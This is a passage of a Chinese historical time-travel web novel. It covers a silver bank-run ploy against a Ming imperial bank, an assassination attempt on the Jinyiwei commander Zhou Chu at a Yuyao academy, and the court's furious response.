皇家钱庄和其他钱庄似乎完全不同,在这里存钱不止不收钱,还会给一定的利息。 这个消息一出,百姓瞬间炸锅了,自古以来,他们哪里遇到过这等好事?而且既然叫皇家钱庄,又有地方官府背书,百姓们自然是放心的,纷纷拿出家中的钱财存入钱庄。 原本存在其他家的钱财很多都被通兑了出来,存入皇家钱庄。 皇家钱庄还没有面临通兑危机,晋商和江南商人开设的钱庄首先面临了通兑危机。 他们左支右拙,最终勉强将百姓的钱财都给通兑了。 山西的商人们联手将上亿两白银存进了皇家钱庄,随后开始安排人去大明各地的皇家钱庄通兑。 陕西,同洲府,皇家钱庄的开设让百姓很是振奋,有钱的纷纷将自己家的钱拿出来,或者从其他钱庄通兑出来,存进皇家钱庄,一时之间,皇家钱庄门口排队存钱的人数不胜数。 排队的人越多,就给了更多的百姓信心,人都是从众的,看到这么多人在皇家钱庄排队存钱,原本还对皇家钱庄有些顾虑的,也都回家将窖藏的银钱取了出来,准备存入皇家钱庄吃利息。 张文三正是那些晋商安排的来同洲通兑白银的人,他拿着两千万两的银票,直接越过排队的众人,来到柜台前。 “掌柜的,通兑白银,两千万两!” 张文三将厚厚一沓银票拍在了柜台上道。 原本正在排队存钱的百姓瞬间被张文三的气势震慑住了,听到他居然要通兑两千万两的时候,全都愣住了,他们还是第一次听到这么大的关于白银的数字。 原本他们应该斥责张文三插队的,此时居然无人开口了。 柜台的掌柜查看了一下张文三递过来的银票,确认无误之后,看向了张文三。 “想要通兑可以,不过得排队。” 掌柜的说完这话,将银票推回到了张文三面前。 张文三听到这话一愣,原本他以为自己通兑这么大的金额,哪里还用的着排队,不过很快张文三反应了过来,恐怕是因为这家钱庄没有这么多白银,这不过是掌柜的的拖延之法罢了。 “掌柜的,在下通兑的可是两千万两白银,何须排队,莫非你这钱庄之中根本没有两千万两白银,还是说你这钱庄只能进不能出?想要通兑就不行?” 张文三质问道。 他丝毫不谈插队的问题,两句话将后面排队存钱百姓心里的疑问勾了出来。 “就是,掌柜的,你们这钱庄给利息,不会是存进去的钱只能进不能出吧?” 张文三安排的一个人在人群之中起哄道。 这话一出,其他百姓也纷纷附和,都看向了钱庄的掌柜的。 掌柜的脸色一肃。 “我皇家钱庄,乃是朝廷开的,有进就有出,正所谓无规矩不成方圆,大额银钱的通兑倘若有预约,可以不用排队,但此人没有预约,还要插队,显然是不合规矩的。” “来人,将我们钱庄的银冬瓜都抬出来,给诸位过过眼。” 掌柜的冲着身后大喊一声道。 钱庄的小厮,甚至是在钱庄值守的锦衣卫,此时都开始忙碌了起来,纷纷前往钱庄的银库开始将一个个银冬瓜往外抬。 天津炼银所铸造的银冬瓜都是一边大的,每一个都是两千两重。 掌柜的让人抬出了两百个银冬瓜,单单是这些银冬瓜就高达四十万两白银。 随后掌柜的更是让人将一箱箱银锭抬了出来,这些银锭都是五十两一个的大银锭,一箱有一百个这样的银锭,重达五千两,五百斤一箱的白银,需要近十人用棍子担在肩膀上才能抬过来。 这样的银箱,一共从银库之中抬出一两百箱,整齐的摆放在钱庄大堂之中,白花花的银子晃晕了这些前来存钱的百姓的眼,却是无人敢有其他心思。 整个皇家钱庄,里里外外都有锦衣卫在值守。 “这里只能放的下这么多,但本庄银库的白银却远远不止这些,你所说的许进不许出,不过是无稽之谈,想要通兑,就要去排队,无论多少白银,三日之内,都能全部兑现。” 掌柜的看着张文三,冷笑道。 实际上在开张之前,上面的人就叮嘱过他,可能有人会过来进行大额通兑,让他早做准备。 同州的这家钱庄银库之中的存银并没有两千万两,只有八百万两左右,毕竟整个大明的州府众多,每个府的钱庄银库之中有八百万两已经是目前的极限了。 那些晋商之所以只让张文三这些人通兑两千万两,而不是一亿两,因为两千万两虽然多,但听着还合理,通兑不出来有些说不过去。 但如果有人硬要通兑一万万两,是个人都能看出来这是有意找茬的。 实际上两千万两已经是极限了,这些百姓也都不是傻子,都看出了其中的问题,不过他们也都想看看皇家钱庄会不会言出必行,毕竟他们的钱是要存进去的,万一皇家钱庄真的是许进不许出,那他们就会损失惨重。 信誉的建立很难,但信誉的打破,往往只需要一件事就足够了。 掌柜的让张文三去排队的同时,让值守的锦衣卫百户去旁边的州府调取白银。 一州之地并不算特别大,快马来回一日即可,运银车即便是慢了些,三日之内完全可以将白银运过来。 与此同时,不只是同洲,大明有四五处皇家钱庄正在发生着同样的剧情,不过钱庄的掌柜早有准备,并没有惊慌,纷纷去隔壁州府调取白银。 张文三排队排了大半日,那些存完钱的百姓并没有急着离开,他们想看看张文三到底能不能把这两千万两白银通兑出来。 倘若两千万两白银都可以通兑,他们那仨瓜俩枣的存在皇家钱庄,自然是无比放心。 倘若张文三通兑不出来,他们则要考虑要不要把钱存进皇家钱庄了。 很多人很精明,为了防止自己的钱出意外,甚至主动让张文三往前排。 如此一来,张文三倒不用一个个排队,很快就再次出现在了掌柜的面前。 “掌柜的,现在你没话说了吧?赶紧通兑吧。” 张文三得意道。 “既然有银票,自然是给通兑的,客官稍等,我这就让人给你抬白银。” 掌柜的笑道。 第223章 隐藏在暗中的毒蛇,李贤,刺杀计划 两千万两白银,一天肯定是码不完的,即便是整个钱庄的所有跑堂的都帮忙码放白银,帮忙计数,一天的时间满打满算也就能数出来四五百万两白银。 这一点张文三倒不意外,那些百姓也是第一次见到这么多白银,即便是天眼看着要黑了下来,仍然有很多人在围观,虽然他们清楚今日恐怕是出不了结果了,但这等大场面,谁愿意错过?以后这可都是茶前饭后和好友的谈资。 钱庄掌柜的从一沓银票之中取出四五百万两。 “这些是今日已经通兑的白银,其余的客官明日可以再来,三日之内,保证这两千万两尽数通兑。” 掌柜的说着将剩下的银票递还给了张文三。 “客官是否需要我们护送,这么多白银,财已露白,这同洲马匪众多。” 掌柜的看着张文三,提醒道。 这话他是必须说的,倘若不说,张文三的白银一旦被劫,即便真是马匪做的,很多人也会怀疑到皇家钱庄头上。 为了皇家钱庄的声誉,掌柜的必须告知张文三,他们可以让锦衣卫帮忙护送。 “当然,这些锦衣卫的大人在下管不了,如果客官需要他们帮忙护送的话,可以支付给他们一些押运的钱,这些都是上面允许的。” 掌柜的解释道。 该提醒的提醒到了,倘若张文三不用锦衣卫,事后又被戒了,这可就怪不到皇家钱庄身上了。 锦衣卫护送我们可都是提供了,你非不要,糟了马匪,又能怪得了谁? “不用,我们有人押送。” 张文三还真不敢让这些锦衣卫押送,财帛动人心,这可是几百万两白银,谁也保不住这些锦衣卫会不会杀人越货。 “既如此,倒是在下闲操心了。” 掌柜的听到这话笑了笑,便不再多说什么。 张文三拿着剩下的银票,带领着那二十多辆运银车在他的一众手下的押送下离开了。 每一辆运银车都装着一立方的白银,重达二十万两出头,如此重的运银车,每一辆都有最少四匹马在拉,即便如此,走的仍然很慢,在地上留下深深地车辙。 围观的人群之中,无数人眼神贪婪地看着这些运银车,皇家钱庄的主意他们不敢打,但如今这些白银可是出了钱庄了,和皇家钱庄再无关系,很多人的心思就开始活络起来了。 这其中不乏马匪的探子。 张文三既然敢来通兑白银,自然是有把握的,山西的那些老爷们给他派了近八百人护卫,虽说都是私兵,战斗力一般,但用来唬人是足够了。 八百人已经是极限了,再多,就算是拥兵自重了。 张文三带着这八百人在同洲府的一处院落住了下来,他很清楚,今天晚上决不能出城,一旦出城,夜黑风高,即便不遭遇马匪,也会有其他人前来打劫。 即使张文三没出城,当天夜里,他们还是遭遇了数次刺探,还抓到了十几个贼。 几百万两,财已露白,动心的人不知凡几,这还只是第一个夜里,更多的人没选择动手恐怕想着的是等张文三全部通兑了之后,来个一锅端。 今夜过来的,都是些前菜,也都是些小人物,他们很清楚,一旦再等下去,就没他们的事了,不如趁着今夜铤而走险,能捞多少捞多少。 张文三的这八百私兵倒也不是草包,愣是将这二十多辆运银车守住了。 张文三很清楚,只要将这些白银运到不远处的西安府,那里有晋商的钱庄,到时候将这些白银存进西安府的钱庄的银库之中,也就安全了。 事后可以从银库之中一批批分批次运回山西。 同洲府离西安府很近,只有百二十里,但偏偏是这百二十里,让张文三觉得犹如天堑,让他倍感压力。 张文三不敢让这八百人运送着几百万两前往西安府,虽然只有一百多里路,但此时的运银车速度是很慢的,想要一夜之间就来回,无异于痴人说梦。 实际上张文三也在衡量一个问题,倘若把两千万两都通兑出来之后,把这些钱拿出来一千万两给这八百人一分,自己还能落下一千万两。 不过这个想法也只是一闪而过,想想自己的一家老小,张文三取消了这个念头。 他能被那些晋商选中负责这件事是有原因的,张文三很孝顺,是他们那里有名的大孝子,那些晋商拿捏着他的家人以及父母,倒也不怕他反水。 不只是他,那八百私兵其实也都差不了多少,他们的家人都在山西,他们要是敢对这些银子起了心思,他们的家人也就保不住了。 张文三想着等这两千万两都通兑出来,一起运送,倒也方便。 主要是他实在是不敢趁夜出城,夜色对那些劫匪而言是最好的保护,到了夜里,很多百姓恐怕也会化身劫匪。 第二天一早,张文三留了六百人看守那二十多辆运银车,其他人则跟着他前往皇家钱庄,继续通兑。 他到的时候,钱庄门口已经围满了看热闹的人,有人在皇家钱庄通兑两千万两这件事,昨夜如同长了翅膀一般,迅速传遍了整个同洲城。 很多马匪得到消息之后,都派出了探子前往同洲城一探究竟。 皇家钱庄的掌柜的也早就在等着张文三了,毕竟是昨日没有通兑结束的,今日自然不需要继续排队。 和昨日相比,今天的掌柜的可谓是准备充分,从西安府调取的一千万两白银已经运送到了,西安府作为重镇,那里的皇家钱庄银库里的存银自然要比同洲多些,不过基本都被掌柜的调过来了。 至于另外一个府的白银,大概还需要半日才能抵达同洲。 就连负责码放银锭的人员,都比昨日多了不少,如此便能确保今日一天至少码放一千万两。 既然承诺了三日通兑,就要说到做到。 于是在无数百姓的围观之下,皇家银行的人又开始了一箱箱白银往外抬,给张文三通兑。 与此同时,扬州城内,出现了一个周楚还算认识的人,不是别人,正是消失在众人视线之中许久的江南商会的会长,李贤。 自从周楚在江南大刀阔斧的时候,李贤就意识到事情的不对,开始谋划一场大局,针对周楚的大局。 李贤能成为江南商会的会长,绝非简单人物,只不过他一直在刻意隐藏自己,让人没办法将眼光集中在他身上。 李贤了解完周楚的过往事迹之后,顿时意识到这是他的一个机会,崛起的机会,周楚查办的,得罪死的人不知凡几,别的不说,单单京城那一千个官员的族人,整合起来就是一股很恐怖的势力。 要知道那些官员可不都是什么小人物,其中有很多都是五品官以上的,四品官和三品官都不在少数。 这些以前可都是大人物,要说没点底蕴,李贤是不信的。 于是这一年的时间,李贤不断到边境走动,找到这些官员被流放的族人,这些人都有一个共同的仇人,那便是周楚,李贤从这些人之中择优选取了一些能力很强的年轻人暗中加以训练,为的就是找到一个合适的机会,刺杀周楚。 是的,李贤比任何人都希望周楚去死,只有周楚死了,江南才有可能恢复原本的模样,他才能真正的掌控江南。 李贤很有耐心,之前无论周楚是在大同,还是在江南,他很清楚,自己没有任何机会。 因为这两个地方,周楚身边都有军队。 但此时周楚却出现在了余姚,还办了个什么书院,这让李贤冷笑不已,心说周楚终究还是大意了,觉得江南已经不足为患了。 这个时候,周楚身边恐怕没有多少人,正是刺杀的绝佳时机。 “你们报仇的机会来了。” 李贤看着眼前被自己训练出来的一千多个年轻人,高声道。 第224章 大意的周楚,收海瑞为徒 实际上李贤说的很对,周楚确实大意了,或者说自周楚当上锦衣卫指挥使以来,靠着自己超越这个时代的认知,以及算无遗策,再加上嘉靖的鼎力支持,做事一帆风顺。 并且江南似乎真的一切尽在掌握之中,所以来余姚周楚只带了沈炼以及那十几个锦衣卫百户,还有春兰等人。 虎贲军留在了大同,江南的大军则在苏州府驻扎。 李贤如同隐藏在暗中的毒蛇一般,他虽然不清楚周楚身边究竟有什么隐藏的力量,但他知道一定是有的,之前苏州府的倭寇,以及后来崇明县的那些倭寇,甚至后来周楚剿倭的恐怖战绩,绝不是江南省的驻军能办到的。 更何况第一次倭寇出现的时候,江南省的军队还不在周楚的掌控之下。 因此李贤为了以防万一,还特意让人在余姚特别是书院附近进行了摸排,不过毕竟书院在山上,真要是想藏些人还是很简单的。 李贤虽然没有摸排出什么结果来,但以他对周楚的了解,周楚此时来余姚,为的是书院的事,也不是像之前江南那般,要和整个江南集团进行斗争。 而且明面上,整个江南都在周楚的掌握之中,周楚这一年多以来做事事事顺利,此时应该是周楚这个锦衣卫指挥使最大意的时候,也是他李贤最有把握刺杀成功的时候。 此时不动手,李贤实在想不出更合适的动手时机了。 这一千多人,是李贤让人从那些家族之中挑选出来的相对优秀的,很多自小就习武,更何况还被李贤训练了许久。 如今的战力虽然远不如虎贲军这种军队,却也不是一般的卫所兵能比的。 书院之中,周楚的住处,此时已经入夜,周楚正在挑灯看书,突然听到了敲门声。 沈炼等人没阻拦,想来应该是熟人,周楚起身去开门,发现海瑞正站在门外。 “海瑞啊,有什么事吗?” 对于海瑞这个学生,周楚还是很喜欢的,后世对海瑞多有抹黑,无非是对他对于家人的态度方面的抹黑,这些抹黑已经被很多人证实纯属谣言,而且极为不合理。 这些天教授海瑞,周楚发现他简直就是天生适合搞科研的料子,执着,认真,追求真理。 即便对于物理学他的天赋或许不是最顶级的,但周楚坚信,将来走的最远的,肯定会是海瑞。 周楚将海瑞让进了屋子里。 “老师,之前您讲的那个用风筝引雷的故事....” 海瑞欲言又止道。 “我都说过了呀,那个故事是假的,只是个故事,因为其中有很多谬误之处,我说这个故事的原因也是想让你们学会辩证思考,如何分辨对错。” 周楚坐下之后,喝了口茶道。 “老师说的对,如果这故事是真的,那人用手去触碰引了雷的风筝线和铜钥匙,又岂会安然无恙,只是学生在想,能不能换个方法把雷引下来,我们学院处于高处,倘若雷雨天多放几个风筝,并且将风筝线的另一头拴在树上,那引下来的雷就会把树劈坏。” 海瑞说出了自己的想法。 周楚听到这话,点了点头。 “这倒是个好办法,不过想要增加成功率的话,就得多放几个风筝,对了,最好拴在枣树上。” 周楚想了想,说道。 “为什么要用枣树?” 海瑞有些疑惑道。 “因为我想要雷击木,枣木至阳至刚,是制作雷击木的不二材料。” 周楚的回答让海瑞一阵无语。 “老师难道也信鬼神之说?” 海瑞有些疑惑道。 在他看来,周楚将格物之学研究的这般深刻,那么应该是不信鬼神之说的,现在看来似乎不是这样。 “无所谓信不信,我们对这个世界的了解,就像是盲人摸象一般,格物学是我们摸到的一面,鬼神之说是古人摸到的另外一面。” “倘若没有鬼神之说,那么医学也就没了根基,现在的医学源自道医,其根本就是五行,鬼神,医学之中有鬼门十三针,甚至还有鬼脉。” 周楚对海瑞侃侃而谈道。 海瑞听到这话,若有所思,对于医学,他了解的不多,但也知道大夫给人看病看的就是阴阳五行。 “格物学不过是一门学问,并不代表天地至理,所有的一切都只是阶段性的,没有永恒的至理。” 周楚看着海瑞略显迷惑的眼神道。 “学生还是不太懂。” 海瑞挠了挠头道。 “举个例子,一个养鸡的农户,养了一百多只鸡,他每日卯时准时喂鸡,持续了很久,每日如此,于是那些鸡就会每日卯时准时等待,它们会认为每日卯时就会有吃的,并把这个认为是至理。” “直到某一天,这个农户生病了,没有准时喂鸡,那些鸡就感觉很疑惑,为何自己一直奉为至理的东西不准确了?” “又比如,每次这个农户喂鸡之前,都会敲一敲铁盆,这些鸡就会认为每次铁盆响起之后就会有吃的,并将之总结为至理。” “无论是前者,还是后者,说白了都是鸡观察不到全貌,如同盲人摸象一般,将一些阶段性的现象总结为至理,我们和那些鸡又有什么区别呢?” 周楚看着海瑞,笑道。 海瑞听到这些话,大受震撼,但细细一想,却又觉得周楚说的话是那么的有道理。 “所以我们不应该把任何一个简单的道理认为是至理,没有永恒的至理,因为我们对这个世界观察的视角,就那么一丁点大,能看到的不过是很小的一面罢了,要学会质疑一切,大胆假设,小心求证。” 周楚继续说道。 “学生谨受教。” 海瑞突然跪在周楚面前道。 他觉得自己仿佛醍醐灌顶一般,自出生以来,他对世界的认知和看待世界的角度从未像现在这般清晰过。 这等传道授业解惑之恩,自然值得海瑞跪下。 周楚倒也没客气,心安理得的受了海瑞的跪拜。 “如果你愿意的话,从今日起,我便收你为弟子。” 周楚笑道。 “学生求之不得。” 海瑞满脸高兴道。 “大人,不好了,山下来了很多人,粗略估计得有上千人,都穿着夜行衣,估计是奔着大人来的。” 屋外,沈炼突然语气急迫道。 周楚听到这话,瞬间变了脸色。 “你赶紧离开这里。” 周楚看着海瑞道。 “学生誓与老师共存亡。” 海瑞坚定道。 第225章 嘉靖震怒!玄武军集结!清算之始 “你在这只会让我分神,赶紧滚蛋。” 周楚恨铁不成钢道。 海瑞听到这话,看了看自己,又看了看周楚手中的绣春刀以及沈炼的身形,最终做出了判断,自己恐怕还真会成为老师的累赘,于是满脸担忧的离开了。 很快,不远处就出现了喊杀之声,王阳明原本都要睡了,听到锦衣卫的通知,简单披上一件衣服,就来到了周楚这里。 他很清楚,这么多人出现在这里,肯定是奔着周楚来的。 周楚看着王阳明提剑赶来,心中一暖,王阳明虽说年纪大了些,但真实战力恐怕比沈炼还要高不少。 “衡器,这些人恐怕是冲你来的,让纯甫护送你下山。” 王阳明急迫道。 周楚听到这话,并没有反驳,他很清楚,自己留在这里对王阳明和学院的学生而言才是最危险的,自己在哪里,哪里就是这些人重点攻击的地方。 仅仅靠那十几个锦衣卫百户,是不可能将这些人完全拦住的。 周楚和沈炼找了个小道,直奔山下而去,只是刚到半山腰,就被几十人拦住了去路,沈炼拔出绣春刀,二话不说就杀了过去。 沈炼一身功夫很是恐怖,即便如此,面对几十人也有些疲于招架,他杀了一个又一个,很快,其他的方向的刺客都向这边围了过来。 周楚拔出绣春刀,和沈炼两人背靠着背,如此一来才能最大程度的降低自己的空门和弱点。 周楚杀了一个又一个人,手中的绣春刀和那些人的刀不断地对上,最后绣春刀上砍的满是豁口,但面前的刺客就好像杀不完一般。 周楚第一次感受到一千多人是那么的多,周楚和沈炼两人面对的敌人最多百来人,已经让两人疲于应付了。 如果说李贤失算了什么,那就是周楚的武力值,毕竟周楚只有在崇明岛的时候短暂的显露过个人武力,但那些目睹周楚出手的人,要么被杀了,要么被抓了。 再加上周楚身边一直都跟着沈炼和很多锦衣卫保护着,不只是李贤,很多人都认为周楚手上并没有多厉害的功夫。 实际上这两年周楚一直练的都是王阳明的功夫,虽说和沈炼相比略差一些,但远不是一般人可以比的。 周楚和王阳明的关系可以说是亦师亦友。 好在周楚的住处常备着战甲,方才出来的时候,沈炼和周楚两人身上已经穿上了全甲,此时即便遭受上百人的围攻,两人背靠背,硬是杀了二三十人,脚下都是刺客的尸体。 但周楚很清楚,这么下去不是办法,刺客远不止眼前这些人,一旦剩下的刺客围过来,再想突围就难如登天了。 围攻王阳明的刺客并不多,实际上是王阳明拦住了这些刺客的去路,这些人的目标从来都不是王阳明,他们也知道王阳明不是好招惹的,大部分都略过了王阳明,去追击周楚。 王阳明拼尽全力,最后也只拦下了二三十人,最后将这些人一一斩杀,追向了周楚的方向,想要帮周楚尽量多杀一些刺客。 四处都是喊杀之声,学院里的学子都被吵醒了,这些人被海瑞告知有刺客的时候,大部分都显得很害怕,待在屋子里不敢出去。 有少数显得很兴奋。 如吴承恩、赵贞吉这些年龄偏大一些的学子,一个个都跃跃欲试,想要上场杀敌。 “在下粗通一些兵法,不怕死的跟我来。” 胡宗宪大喊道。 胡宗宪这话一出,吴承恩、赵贞吉这些学子纷纷出列。 “诸位要是愿意遵从在下的指挥,就随在下一起,要是不愿意听,那就自行方便,省的到时候乱起来。” 胡宗宪看着眼前的数十人,满脸严肃道。 虽然胡宗宪的年龄和站出来的这些人相比可能小了些,但言语之间的气度却是让他们不自觉的信服。 “既然站出来了,自然会听你的。” 其中一人说道。 这话一出,其他人纷纷附和。 他们这些学子前来求学的时候,身上都是佩戴着防身的武器的,学院并没有没收他们的佩刀或者佩剑。 这一夜,整个山上,山腰乃至山底都是喊杀之声。 这一夜,保护周楚的十几个锦衣卫百户,战死大半。 沈炼重伤,王阳明也有些力竭。 以胡宗宪为首的学子,也斩杀了不少刺客,不过他们入场的时候,大部分刺客都在围攻周楚,这些学生有些受了不轻的伤,倒是无人阵亡。 锦衣卫指挥使周楚,下落不明! 次日天亮,整个学院周围都是刺客的尸体,锦衣卫指挥使周楚遇刺下落不明的消息传出,四方震动。 严嵩得到这个消息之后惊的直接站了起来。 “什么?周大人遇刺了?” 这让严嵩坐立难安,要知道周楚遇刺的余姚,离苏州府不远,他严嵩无论如何都是脱不了干系的。 这让严嵩瞬间感觉脊背发寒。 到底是什么人,能在自己的眼皮子底下组织这么多人刺杀锦衣卫指挥使? 即便知道后果会非常严重,严嵩也不敢有丝毫隐瞒的想法,直接让人快马加鞭,八百里加急,将这个消息送到京城。 做完这些,严嵩急忙安排人马,开始搜寻周楚的下落。 整个江南省,瞬间陷入了风声鹤唳之中。 八百里加急,不顾马的死活,到官驿就换马,速度可以达到每日六百里到八百里之间,而严嵩下的又是死命令,必须两日之内将消息送达京城,一路上不知跑死了多少匹马。 嘉靖正在御书房看奏折,黄锦突然带着一人,来到御书房。 “陛下,来自苏州府的八百里加急!” 嘉靖听到这话,突然有种不好的预感。 “说!” 嘉靖看着信使道。 “陛下,锦衣卫指挥使周楚在余姚遇刺,下落不明,生死不知!” 信使言简意赅道。 “什么!刺客多少人?” 嘉靖瞬间就站了起来,一双眼睛逼视着信使道。 “不下于一千人。” 信使咽了口口水道。 “一千多人?他严嵩干什么吃的?传旨下去,把严嵩和江南省巡抚撸了,下狱,另外,安排人手搜寻衡器的下落,同时,彻底清查此次刺杀是何人所为,如果查不出来,就把江南那些人全都清算一遍。” 嘉靖满脸怒火道。 皇帝一怒,伏尸百万,可不是说笑的,嘉靖的旨意传到江南之后,严嵩不敢有丝毫怨言,他只希望周楚能活下来,只要周楚活着,他就有希望,周楚要是出事了,他的前途算是彻底断送了。 整个江南都进入了戒严状态,海上,云瑾收到周楚被刺杀的消息,目眦欲裂。 “玄武军集结,杀向江南!” 第226章 幕后之人,张璁的眼光,云瑾杀向扬州 “怎么样?成功了没有?” 刺杀的第二天,李贤看到最后几十个活下来的手下,满脸急切道。 “不知道,眼看周楚就要支撑不住了,他的那匹马突然冲了进来,踏雪乌骓,天下名马,周楚上了马,突围了出去,受伤极重,生死不知。” 李贤听到这话,顿时急躁了起来,无论成功与否,只要有个结果,他就好布置下一步的计划,但现在周楚生死不知,他却是不知道该怎么办了。 实际上李贤能悄无声息的完成这次刺杀,并且之前能不被人发觉的情况下训练这一千多人,和扬州的盐帮以及盐商有着分不开的关系。 扬州的那些人虽然和江南商会不是一个路子的,但他们和李贤对于周楚有着相同的认知,那就是周楚掌权之后,对他们开刀恐怕是迟早的事,既然如此不如未雨绸缪。 刚好大概一年前,李贤找上了他们,和他们一拍即合,盐帮人数众多,多出这一千多人根本不显眼。 这次刺杀与其说是李贤谋划的,倒不如说是盐帮和李贤一起谋划的。 只不过这件事李贤对盐帮以及扬州的盐商而言是冲锋陷阵之人,毕竟李贤是江南商会的会长,他比这些人更急迫的想要弄死周楚。 盐帮和盐商也想弄死周楚,但这是在祸水不会引到自己身上为前提的。 盐帮的人早就派人在余姚盯着,得到消息之后第一时间就将消息传回了扬州。 “周楚生死未知,据说受伤很重,诸位怎么看?” 此时的盐帮议事厅,扬州数得上号的盐商都在,为首的正是盐帮帮主,看着众人问道。 “不论周楚是死是活,李贤都不能活,李贤一旦被抓,我们就暴露了。” 为首的一个商人一边把玩着手中的扳指,一边说道。 “没错,李贤本就是秋后的蚂蚱,借我们的势多蹦跶几天罢了,如今他已经没用了,留着他对我们而言是个祸害。” 另一个盐商赞同道。 另外一边,李贤左思右想,最终决定先躲起来,他很清楚,现在第一个想让自己死的不是别人,肯定是扬州的盐帮和那些盐商。 至于朝廷和锦衣卫这边,查出刺杀是自己谋划的也只是时间问题。 这本来是一条死路,唯一的活路便是将周楚杀死,周楚一死,江南的这些士绅以及官员就会对自己一呼百应,然后将整个江南彻底掌握在手里,他李贤就有了和朝廷对话的资本了。 可惜,现在周楚生死未知,这大大出乎了李贤的预料,根据手下的描述,李贤终于知道自己漏算了什么,漏算了周楚的武功,他怎么都没想到,那个平日里看上去并不怎么强壮的锦衣卫指挥使周楚,战力居然如此恐怖。 和沈炼两人全甲,居然斩杀了三四百人,然后靠着王阳明以及那些锦衣卫百户,还有学院的学生在外围策应,硬是将自己这一千人马杀的只剩下几十个。 周楚!周楚! 李贤不断地在心底念叨着周楚的名字,越念叨越觉得周楚无比可怕。 有着如此恐怖的战力,却从未在外人面前展露过,平日里都带着护卫,给所有人造成了一种错觉,包括李贤。 李贤自认为自己谋划的这一次刺杀可以说是天衣无缝,换成其他任何人恐怕都插翅难逃,偏偏周楚杀了出去。 这让李贤极为不甘心,但再怎么不甘心,李贤也不得不承认,自己失败了,只要没把周楚杀死在当场,周楚身死的消息没有传出去,江南的这些士绅以及商人就不敢站出来,他们不站出来,李贤就没办法迅速掌控江南。 李贤很清楚,自己得开始逃亡了。 原本逃亡的路线他早就规划好了,他原本想着从崇明岛以海商的身份出海,但周楚一出事,整个江南瞬间戒严,所有的码头直接关闭,想要偷渡都做不到。 无奈的李贤只能就地找了个地方隐藏了起来,为了安全起见,他只带了几个自小训练的死士,那些活下来的刺客他是一个都没带,此时的李贤信不过任何人。 李贤隐藏在了崇明岛之中,相对于江南的其他县,崇明岛要错综复杂的多,而且如果看时机不对,也可以尝试趁夜偷渡。 当然,偷渡是万不得已的下策,毕竟如今海上全是大明的海军,倘若没有海关的文书出海,一旦被发现,遭受的就是海军的雷霆打击。 这种事之前发生了不少,所以现在整个江南的商人,已经基本没人敢走私了。 原本他们走私基本是靠安南的出海口,从那里出海没人查,现在安南也在大明的掌控之下,安南的出海口更是有重兵把守,如今想从其他地方偷偷出海,难如登天。 当然,那种难是对货船而言,如果只是个人想要偷偷跑到海上去,还是能做到的,比如乘坐渔夫的渔船,只是到了海上,如何逃过海军的盘查才是关键。 李贤相信,现在江南戒严,渔船恐怕也是禁止出海的,贸然出现一艘渔船,肯定会引起注意。 所以不到万不得已,李贤是不会走这一步的。 李贤隐藏在崇明岛之后,朝廷的雷霆之怒很快就下来了,先是严嵩和江南巡抚被罢官下狱,随后张璁来到江南省,暂管江南省一应事务,重点是一定要第一时间找出刺杀周楚的人是谁。 张璁得到这个消息的时候,正在喝茶的他惊的差点呛着,他怎么都没想到,居然有人如此胆大包天,胆敢冒天下之大不韪,在这个时候对锦衣卫指挥使周楚动手。 不过张璁想想也对,正是因为所有人都想不到,也就不会有太大的防备,正是刺杀的绝佳时机。 同时对于严嵩,张璁也是有些同情的,不过张璁也清楚,严嵩下狱绝不冤枉,毕竟无论是自己还是严嵩,都可以说是周大人一手提拔上来的。 对于周楚,张璁内心是无比感激的,并且一直都是坚决站队周楚这边的,毕竟他和周楚在职务上是没有任何冲突的,张璁很聪明,他很清楚,只有跟紧周楚的步伐,才能青云直上。 这一点从他能一步登天成为南直隶的巡抚就能看的出来。 严嵩作为江南省实际上的一把手,江南藏了这么多刺客,他居然毫无察觉,再怎么说他都难辞其咎。 张璁接管江南省的兵权之后,带着人直奔扬州而去。 张璁很清楚,就算是整个江南,能藏得下这么多人的地方也不多,扬州的盐帮是最适合的地方。 要说这刺杀背后没有盐帮和那些盐商,张璁是不信的,只是这事需要证据,张璁来这里就是要找证据的。 还有一个人和张璁做出了相似的判断,不是别人,正是云瑾。 她带着两千玄武军直奔扬州而去,和张璁不同,她并不想找证据,原本云瑾想要将玄武军伪装成倭寇,但是一想到这么做的话,周楚好不容易开的海禁会受到影响,而且倭寇是被周楚完全剿灭的,云瑾也不希望再出现倭寇。 于是云瑾干脆挑明旗帜,直奔扬州而去,对云瑾而言,没什么比替周楚报仇更重要的,而且云瑾也很清楚,此时自己闹的越大,周楚就越安全,就不会有人将眼光盯在下落不明的周楚身上。 云瑾知道,二哥没有现身,恐怕受伤极重,需要时间养伤,这个时间,就让自己来帮他拉扯。 至于私自调兵之事,来的路上云瑾让人补了一封请罪的密旨,也不管嘉靖同不同意了,云瑾想来,时候将兵权上交,向皇帝认罪便是了,要杀要剐,她都认了。 第227章 张璁和盐帮帮主的对峙,云瑾杀到 “张大人大驾光临,有失远迎,还望恕罪。” 盐帮帮主孙鳌满脸堆笑的来到张璁面前,行礼道。 他每说一句话,腮帮子上的肥肉都跟着颤动,让张璁有种不忍直视的感觉。 不过张璁却很清楚,这个胖子虽然看上去像个混吃等死的蠢猪,但如果被他的外表迷惑了,往往会死的很惨。 张璁是浙江温州府人士,离扬州虽然很远,有一千里左右,早在入仕之前却也听说过这位盐帮帮主的大名。 孙鳌能成为盐帮帮主,靠的就是四个字,心狠手辣。 以前张璁没少听别人讲这位盐帮帮主的故事。 “孙帮主不必多礼,本官此次前来,倒是有事想问问孙帮主。” 张璁皮笑肉不笑道。 对于这种江湖草莽,张璁自然没什么好脸色,更何况眼前的孙鳌犯下的罪行可谓是罄竹难书。 也就是朝廷暂时还没准备动盐帮,否则张璁第一个就不会放过孙鳌。 原本张璁估摸着也快了,毕竟如今海禁开了,原本运盐都是走河运,河运运输盐费人费力,这才有了盐帮和这一路上的利益群体。 张璁很清楚,如果说谁要对周大人动手,孙鳌肯定排在第一个,因为就连张璁都能看的出来,海禁彻底开了之后,下一步朝廷恐怕就要将运盐从河运改成海运了。 一旦改成海运,虽说能大大节省成本增加效率,但盐帮就没了存在的意义了,扬州的这些盐商想要在里面做手脚,也就难了。 这一切的源头,都是周楚,只要周楚死了,倭寇再次横行,那么朝廷的海禁怎么开的,就要怎么关上。 在这一点上,盐帮和李贤的目的是一致的,所以才能一拍即合。 这也是张璁第一时间怀疑盐帮的原因。 “哦?不知张大人想问什么,在下一定知无不言,言无不尽。” 孙鳌笑道。 “余姚有一千多人刺杀锦衣卫指挥使周大人,此时孙帮主可曾知晓?” 张璁说这话的时候,紧紧地盯着孙鳌,生怕错过他的任何一个表情。 不过孙鳌是谁,老江湖了,岂会被这种攻心计轻易破防。 